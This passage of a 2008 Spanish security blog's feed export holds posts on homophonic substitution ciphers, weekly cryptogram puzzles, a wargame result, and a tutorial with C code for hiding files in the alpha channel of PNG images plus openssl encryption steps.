src='https://blogger.googleusercontent.com/tracker/5064908217201828351-2705086747116423145?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/2705086747116423145/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=2705086747116423145' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/2705086747116423145'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/2705086747116423145'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/09/el-criptograma-del-2008.html' title='El Criptograma del 2008'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-1731172812347243006</id><published>2008-08-15T05:12:00.000-07:00</published><updated>2008-12-04T01:28:25.382-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Criptografía'/><title type='text'>Cifrados de sustitución homofónica</title><content type='html'>&lt;div style="text-align: justify;"&gt;En los cifrados de sustitución tradicionales, cada letra del texto plano era sustituída por un simbolo diferente. El problema de este tipo de criptosistema lo vimos en detalle en &lt;a href="http://h4ck1t.blogspot.com/2007/09/criptoanlisis-anlisis-de-recuencias.html"&gt;Criptoanálisis: Análisis de frecuencias&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Al sustituir cada letra por un símbolo diferente, la frecuencia de las letras del texto original se mantiene en el criptograma. Des esta manera, conociendo la frecuencia en la que aparecen las letras en la lengua origen, podemos obtener algunas pistas que nos permitiran resolver el criptograma.&lt;br /&gt;&lt;br /&gt;Los cifrados de sustitución homofónica suponen una vuelta de tuerca más a los cifrados de sustitución tradicionals. El objetivo de este sistema consiste en disminuir el efecto de las frecuencias en el criptograma resultante. Así pues, si sabemos que las letra A es la letra más frecuente, podemos sustituir esta letra por símbolos diferentes.&lt;br /&gt;&lt;br /&gt;Veamos un ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Texto Plano:&lt;/span&gt;&lt;br /&gt;ESTO ES UN CRIPTOGRAMA DE EJEMPLO&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Frecuencias:&lt;/span&gt;&lt;br /&gt;E: 4, S: 2, T:2, O:3, U:1, N:1, C:1, R: 2, I: 1, P: 2:, G: 1, A: 2, M: 2,  J: 1,  D: 1, L: 1.&lt;br /&gt;&lt;br /&gt;Como vemos en el texto plano, las frecuencias habituales son 1 y 2. Destaca pues la E con frecuencia 4 y la O con frecuencia 3.&lt;br /&gt;&lt;br /&gt;Así pues, en el momento de asignar sustitutos a cada una de las letras del texto plano, asignaremos más de un sustituto a nuestras letras más frecuentes. Por ejemplo, usaremos E: A,I y O: X, Y. Para las demás letras usaremos un solo símbolo como en un sistema de sustitución tradicional.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Criptrogama:&lt;/span&gt;&lt;br /&gt;ABCXIBDEFGHJCYKGLMLNIAOIMJlX&lt;br /&gt;&lt;br /&gt;Si ahora estudiamos la frecuencia de las letras solo obtendremos frecuencias de 1 y 2 letras, lo que nos ofrecerá pocas pistas del texto plano original.&lt;br /&gt;&lt;br /&gt;Lógicamente, este tipo de criptosistemas es más seguro cuantas más sustituciones se usan para cada letra. El objetivo siempre será tergiversar la distribución de frecuencias del lenguaje original.&lt;br /&gt;&lt;br /&gt;Cuando se realizan varias sustituciones por letra nos encontramos con que es necesario disponer de más símbolos que los que proporciona el abecedario. Podemos usar caracteres como @, #, ¿, ?, etc. Aunque normalmente lo más práctico suele ser usar números.&lt;br /&gt;&lt;br /&gt;A continuación dejo una utilidad de Simon Singh que permite cifrar/descifrar sistemas homofónicos mediante números&lt;a href="http://simonsingh.net/The_Black_Chamber/homophoniccipher.htm"&gt;&lt;/a&gt;: &lt;a href="http://simonsingh.net/The_Black_Chamber/homophoniccipher.htm"&gt;&lt;span style="text-decoration: underline;"&gt;Homophonic Cipher&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-1731172812347243006?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/1731172812347243006/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=1731172812347243006' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/1731172812347243006'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/1731172812347243006'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/08/cifrados-de-sustitucin-homofnica.html' title='Cifrados de sustitución homofónica'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-4180165074327948629</id><published>2008-08-09T01:40:00.000-07:00</published><updated>2008-12-04T01:28:25.399-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Retos'/><category scheme='http://www.blogger.com/atom/ns#' term='Criptoanálisis'/><title type='text'>Criptograma Semanal 09/08/08</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;br /&gt;UKALNOIYUAURMXURQYVAVAGWNEAGUQYVEAGUAMVGVATXUYQVADXUAKV AMWURMWVAKNHYVAVIYWY.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: right;"&gt;&lt;br /&gt;VKIUYQAUWREQUWR&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-4180165074327948629?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/4180165074327948629/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=4180165074327948629' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/4180165074327948629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/4180165074327948629'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/08/criptograma-semanal-090808.html' title='Criptograma Semanal 09/08/08'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-8278249682114337966</id><published>2008-08-02T01:38:00.000-07:00</published><updated>2008-12-04T01:28:25.417-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Retos'/><category scheme='http://www.blogger.com/atom/ns#' term='Criptoanálisis'/><title type='text'>Criptograma Semanal 02/08/08</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;br /&gt;LEG VR AHW CW SBEDBWPWOHER VX IRW OWBBVBW VRQBV CEX HRDVRHVBEX AV XEJQFWBV HRQVRQWRAE OBVWB PVKEBVX SBEDBWPWX W SBIVZW AV HAHEQWX G VC IRHTVBXE, HRQVRQWRAE SBEAIOHB PWGEBVX HAHEQWX. SEB WLEBW, VC IRHTVBXE VXQW DWRWAE.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;BHOM OEEM&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-8278249682114337966?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/8278249682114337966/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=8278249682114337966' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/8278249682114337966'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/8278249682114337966'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/08/criptograma-semanal-020808.html' title='Criptograma Semanal 02/08/08'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-2664853035677970278</id><published>2008-07-29T23:03:00.000-07:00</published><updated>2008-12-04T01:28:25.207-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Criptografía'/><title type='text'>Esteganografía: El canal Alpha</title><content type='html'>&lt;div style="text-align: justify;"&gt;En este primer artículo sobre &lt;a href="http://es.wikipedia.org/wiki/Esteganograf%C3%ADa"&gt;esteganografía&lt;/a&gt; veremos como ocultar mensajes dentro de una imagen. Para ello usaremos el lenguaje C y accederemos a imágenes en formato PNG a través de la librería libpng.&lt;br /&gt;&lt;br /&gt;Para probar los ejemplos es necesario descargar el programa &lt;a href="http://www.opendomo.com/dlerch/sources/tools/steg.c"&gt;steg.c&lt;/a&gt; que he desarrollado y la imagen de Tux que viene a continuación:&lt;br /&gt;&lt;br /&gt;NOTA: Haz clic en la imagen para obtener la original, pues blogspot al redimensionar la imagen se carga su transparencia.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_q551Ajwo8ak/SJA3U_wfzDI/AAAAAAAAAFQ/m6DJs71uF7U/s1600-h/tux.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_q551Ajwo8ak/SJA3U_wfzDI/AAAAAAAAAFQ/m6DJs71uF7U/s400/tux.png" alt="" id="BLOGGER_PHOTO_ID_5228740001228901426" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;El canal Alpha:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Algunos formatos de imágen como puede ser &lt;a href="http://en.wikipedia.org/wiki/Portable_Network_Graphics"&gt;PNG&lt;/a&gt; guardan cada píxel en &lt;a href="http://en.wikipedia.org/wiki/RGBA_color_space"&gt;RGBA&lt;/a&gt;. Lo que significa que se guarda información para R (cantidad de color rojo), G (cantidad de color verde), B (cantidad de color azul) y A (opacidad de la imagen).&lt;br /&gt;&lt;br /&gt;Representar el color de un píxel mediante un formato RGB es algo ampliamente conocido, así que no entraremos en más detalles. Vamos a centrar nos en la A de RGBA, lo que se conoce como el canal Alpha.&lt;br /&gt;&lt;br /&gt;El canal alpha contiene la información referente a la opacidad de la imagen, es decir, cuan transparente es.&lt;br /&gt;En PNG, por ejemplo, se usa un byte en cada píxel para el canal alpha, de manera que, si este tiene valor 0, la imagen es completamente transparente, si tiene valor 255 la imagen no tiene transparencia y para valores entre 0 y 255 el nivel de transparecia cambia gradualmente.&lt;br /&gt;&lt;br /&gt;Así pues, si un píxel de cierto color RGB tiene el canal alpha a cero, no se verá. Lo que nos permite ocultar datos en los bytes destinados a R, G y B siempre que sea un píxel transparente.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Acceso a la imagen PNG:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En el programa de ejemplo podemos ver dos funciones "read_png()" y "write_png()". No entraremos en detalle sobre estas dos funciones. Basta decir que la primera carga la imagen en las estructuras de datos de libpng y la segunda escribe el contenido de estas estructuras de datos en una nueva imagen.&lt;br /&gt;&lt;br /&gt;Por lo tanto el procedimiento a seguir será leer la imagen, realizar las modificaciones pertinentes y escribir de nuevo la imagen.&lt;br /&gt;&lt;br /&gt;Para acceder a los diferentes bytes que componen RGBA lo haremos a traves de las funciones "get_value()" y "set_value()". Mientras que la primera nos permite obtener el valor de R, G, B o A, "set_value()" nos permite modificarlo. Así pues:&lt;br /&gt;&lt;br /&gt;- get/set_value(x, y, 0, ...) accede al byte que define R&lt;br /&gt;- get/set_value(x, y, 1, ...) accede al byte que define G&lt;br /&gt;- get/set_value(x, y, 2, ...) accede al byte que define B&lt;br /&gt;- get/set_value(x, y, 3, ...) accede al byte que define A&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ocultando un fichero:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para ocultar un fichero, el programa tendrá que leer cada byte del fichero a ocultar y escribirlo en un píxel de la imagen PNG donde el canal alpha este a cero. Como ejemplo pego parte de la función "hide_file()":&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;FILE *f = fopen(msg_file, "r");&lt;br /&gt;if(!f)&lt;br /&gt;error("[hide_file] fopen()");&lt;br /&gt;&lt;br /&gt;for(y = 0; y &amp;lt; height; y++)&lt;br /&gt;{&lt;br /&gt;for(x = 0; x &amp;lt; width; x++)&lt;br /&gt;{&lt;br /&gt;   if(get_value(x, y, 3)==0)&lt;br /&gt;   {&lt;br /&gt;      char c1=0;&lt;br /&gt;      char c2=0;&lt;br /&gt;      char c3=0;&lt;br /&gt;&lt;br /&gt;      if(!feof(f)) c1 = fgetc(f);&lt;br /&gt;      if(!feof(f)) c2 = fgetc(f);&lt;br /&gt;      if(!feof(f)) c3  = fgetc(f);&lt;br /&gt;&lt;br /&gt;      set_value(x, y, 0, c1);&lt;br /&gt;      set_value(x, y, 1, c2);&lt;br /&gt;      set_value(x, y, 2, c3);&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;fclose(f);&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Extraer el fichero oculto:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;De manera similar a cómo hemos ocultado el fichero en el apartado anterior, podemos extraer la información oculta. Veamos un pedazo de "unhide_file()":&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;&lt;br /&gt;FILE *f = fopen(msg_file, "w+");&lt;br /&gt;if(!f)&lt;br /&gt; error("[unhide_file] fopen()");&lt;br /&gt;&lt;br /&gt;for(y = 0; y &amp;lt; height; y++)&lt;br /&gt;{&lt;br /&gt; for(x = 0; x &amp;lt; width; x++)&lt;br /&gt; {&lt;br /&gt;    if(get_value(x, y, 3)==0)&lt;br /&gt;    {&lt;br /&gt;       char c1 = get_value(x, y, 0);&lt;br /&gt;       char c2 = get_value(x, y, 1);&lt;br /&gt;       char c3 = get_value(x, y, 2);&lt;br /&gt;&lt;br /&gt;       if(c1==0 || c2==0 || c3==0)&lt;br /&gt;       {&lt;br /&gt;          fclose(f);&lt;br /&gt;          return;&lt;br /&gt;       }&lt;br /&gt;&lt;br /&gt;       fprintf(f, "%c%c%c", c1, c2, c3);&lt;br /&gt;       set_value(x, y, 0, 0);&lt;br /&gt;       set_value(x, y, 1, 0);&lt;br /&gt;       set_value(x, y, 2, 0);&lt;br /&gt;    }&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;fclose(f);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ejemplo de uso del programa:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Visto el código básico utilizado, podemos empezar a ocultar ficheros. Veamos un ejemplo.&lt;br /&gt;&lt;br /&gt;Primero ocultamos un mensaje:&lt;br /&gt;&lt;br /&gt;$ gcc steg.c -o steg -lpng&lt;br /&gt;$ echo "Esto es un mensaje de ejemplo" &gt; msg.txt&lt;br /&gt;$ ./steg hide tux.png tux_steg.png msg.txt&lt;br /&gt;&lt;br /&gt;Si abrimos la imagen tux_steg.png veremos que nuestros ojos no detectan ninguna modificación.&lt;br /&gt;&lt;br /&gt;Ahora obtenemos el mensaje oculto:&lt;br /&gt;&lt;br /&gt;$ ./steg unhide tux_steg.png tux_clean.png msg2.txt&lt;br /&gt;$ cat msg2.txt&lt;br /&gt;Esto es un mensaje de ejemplo&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Un poco de cifrado:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Actualmente el mensaje esta oculto, pero no es difícil extraerlo, por lo que no estaría mal añadir un poco de cifrado. Lo haremos con la herramienta openssl.&lt;br /&gt;&lt;br /&gt;Primero ciframos el archivo:&lt;br /&gt;&lt;br /&gt;$ openssl enc -blowfish -in msg.txt -out msg.ciph&lt;br /&gt;enter bf-cbc encryption password:&lt;br /&gt;Verifying - enter bf-cbc encryption password:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A continuación lo codificamos en base64 y lo ocultamos:&lt;br /&gt;&lt;br /&gt;$ openssl base64 -in msg.ciph -out msg.cb64&lt;br /&gt;$ ./steg hide tux.png tux_steg.png msg.cb64&lt;br /&gt;&lt;br /&gt;En este punto podemos verificar que la imagen con el mensaje oculto no muestra información adicional.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Extraemos el mensaje oculto y lo descodificamos en base64:&lt;br /&gt;&lt;br /&gt;$ ./steg unhide tux_steg.png tux_clean.png msg2.cb64&lt;br /&gt;$ openssl base64 -d -in msg2.cb64 -out msg2.ciph&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Desciframos el archivo:&lt;br /&gt;&lt;br /&gt;$ openssl enc -blowfish -d -in msg2.ciph -out msg2.txt&lt;br /&gt;enter bf-cbc decryption password:&lt;br /&gt;&lt;br /&gt;y voilà:&lt;br /&gt;&lt;br /&gt;$ cat msg2.txt&lt;br /&gt;Esto es un mensaje de ejemplo&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Debilidades del sistema:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ocultar la información en el canal alpha de la imagen no es precisamente la mejor técnica que se puede usar en esteganografía. De hecho tiene un inconveniente importe: la facilidad con la que se puede saber que hay un mensaje oculto.&lt;br /&gt;Esto no significa que el sistema sea inseguro, pues si la información está cifrada no se podrá acceder a ella sin la clave. Pero es fàcil detectar que una imagen tiene un mensaje oculto.&lt;br /&gt;&lt;br /&gt;Por ejemplo, simplemente poniendo el byte del canal alpha a 255, al visualizar la imagen veríamos las zonas de información con píxeles de diferentes colores.&lt;br /&gt;&lt;br /&gt;A continuación dejo un ejemplo de la imagen de Tux, con un fichero oculto y con el canal alpha a 255. En ella vemos la existencia de información oculta en la primera mitad de la imagen.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_q551Ajwo8ak/SJBGq-Nl-pI/AAAAAAAAAFY/FFQG2P9wBh8/s1600-h/tux_steg_alpha255.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_q551Ajwo8ak/SJBGq-Nl-pI/AAAAAAAAAFY/FFQG2P9wBh8/s400/tux_steg_alpha255.png" alt="" id="BLOGGER_PHOTO_ID_5228756871445609106" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-2664853035677970278?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/2664853035677970278/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=2664853035677970278' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/2664853035677970278'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/2664853035677970278'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/07/esteganografa-el-canal-alpha.html' title='Esteganografía: El canal Alpha'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_q551Ajwo8ak/SJA3U_wfzDI/AAAAAAAAAFQ/m6DJs71uF7U/s72-c/tux.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-7656737950526729629</id><published>2008-07-26T01:00:00.000-07:00</published><updated>2008-12-04T01:28:25.441-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Retos'/><category scheme='http://www.blogger.com/atom/ns#' term='Criptoanálisis'/><title type='text'>Criptograma Semanal 26/07/08</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;br /&gt;NE XEGQUWE HR NEB WHREB OAPHEXRPLENRB HR NE CWRPCWE BQP RBRPCWENXRPLR BRPCWNNEB G, ZQU URSNE SRPRUEN ZARHRP BRU RVZURBEHEB RP AP NRPSAEIR CQXZURPBWDNR ZEUE LQHQB.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;ENDRUL RWPBLRWP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-7656737950526729629?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/7656737950526729629/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=7656737950526729629' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/7656737950526729629'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/7656737950526729629'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/07/criptograma-semanal-260708.html' title='Criptograma Semanal 26/07/08'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-5195607204187817450</id><published>2008-07-24T05:15:00.000-07:00</published><updated>2008-12-04T01:28:25.485-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad Física'/><title type='text'>Nueva sección Seguridad Física</title><content type='html'>&lt;div style="text-align: justify;"&gt;Hasta ahora en este blog se ha hablado principalmente de temas relacionados con la seguridad, siempre en el contexto de la informática. Hoy, despues de que por enésima vez entren a robar en mi nueva casa, todavía en construcción, he decidido abrir un apartado de seguridad física.&lt;br /&gt;&lt;br /&gt;Nada se sobre este tema, aunque tengo previsto aprender durante los próximos meses. Pues voy a instalar todo tipo de sensores, actuadores, alarmas y demás cachibaches, integrándolos con el proyecto &lt;a href="http://www.opendomo.com/"&gt;OpenDomo&lt;/a&gt;, que dirijo desde hace algun tiempo.&lt;br /&gt;&lt;br /&gt;Empezaré en breve con un artículo sobre los sensores magnéticos y la (poca!?) seguridad que ofrecen.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Con esto, queda inaugurada la sección de Seguridad Física. Espero vuestros, siempre interesantes, comentarios.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-5195607204187817450?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/5195607204187817450/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=5195607204187817450' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5195607204187817450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/5195607204187817450'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/07/nueva-seccin-seguridad-fsica.html' title='Nueva sección Seguridad Física'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-675340062962023423</id><published>2008-07-24T05:10:00.000-07:00</published><updated>2008-12-04T01:28:25.469-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Noticias'/><title type='text'>Superado bsgame#1 de Blind Security</title><content type='html'>&lt;div style="text-align: justify;"&gt;El 1 de Julio &lt;a href="http://www.blindsec.com/"&gt;Blind Security&lt;/a&gt; empezaba el &lt;span style="font-weight: bold;"&gt;I Torneo de Seguridad Informática BlindSec. &lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Despues de varias intentonas y de encallarme considerablemente en los niveles 9 y 10 he superado el bsgame#1 entre los 10 primeros, lo que me hace ganador de una bonita &lt;a href="http://www.yoire.com/1259-wargames-torneo-blindsec-bsgame-1-10-camisetas-para-los-10-ganadores"&gt;camiseta&lt;/a&gt; ;)&lt;br /&gt;&lt;br /&gt;A todo el que le guste romperse el coco con retos informáticos y quiera aprender, le recomiendo encarecidamente que lo &lt;a href="http://blindsec.com:81/"&gt;intente&lt;/a&gt;, dado que el reto continuará abierto.&lt;br /&gt;&lt;br /&gt;A mi me ha servido, entre otras cosas, como perfecta excusa para entrar en el terreno de la esteganografía. De hecho, tan pronto como el torneo sea superado (10 finalistas) publicaré un artículo sobre el tema a partir de algunos programas que desarrollé para pasar el nivel 9.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_q551Ajwo8ak/SIifGjgDB_I/AAAAAAAAAFI/r97s9P4MBRU/s1600-h/bsgame.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_q551Ajwo8ak/SIifGjgDB_I/AAAAAAAAAFI/r97s9P4MBRU/s400/bsgame.png" alt="" id="BLOGGER_PHOTO_ID_5226602302521149426" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Insisto, si te gusta la seguridad informática y el hacking ético, no lo dudes, pásate por el torneo.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-675340062962023423?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/675340062962023423/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=675340062962023423' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/675340062962023423'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/675340062962023423'/><link 